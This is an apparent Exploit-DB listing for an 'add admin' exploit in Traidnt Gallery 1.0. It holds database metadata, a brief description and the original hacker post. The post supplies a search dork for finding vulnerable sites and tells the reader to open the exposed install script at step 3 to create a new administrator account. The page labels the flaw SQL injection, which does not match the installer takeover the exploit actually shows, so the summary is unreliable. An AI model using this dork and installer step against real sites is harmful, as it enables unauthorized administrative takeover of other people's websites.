Traidnt Gallery) add Admin Exploit)

vendor:

Traidnt Gallery

by:

wlhaan hacker

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Traidnt Gallery

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:traidnt:traidnt_gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Traidnt Gallery) add Admin Exploit)

The exploit allows an attacker to inject malicious SQL queries into the vulnerable application. By exploiting this vulnerability, an attacker can gain access to the admin panel of the application and can perform various malicious activities.

Mitigation:

Input validation should be performed to ensure that user-supplied data is not used to construct malicious SQL queries.

Source

Exploit-DB raw data:

                          ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


_____________________________________________________
Traidnt Gallery) add Admin Exploit)

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+] Team : wlhaan TeaM #
# [+] Dork : Powered by:Traidnt Gallery Version 1.0. #
# [+]
#####################################################

[+] download : http://www.tw4host.com/vb/attachment.php?s=622750d4b01903b754e83a135c44d8cc&attachmentid=779&d=1253949289


The exploit :

 "install/install.php?step=3"

Get now in :

http://localhost/path/install/install.php?step=3


now add user name and password

and good luck :D

Thanks to : shooq hacker ..

#####################################################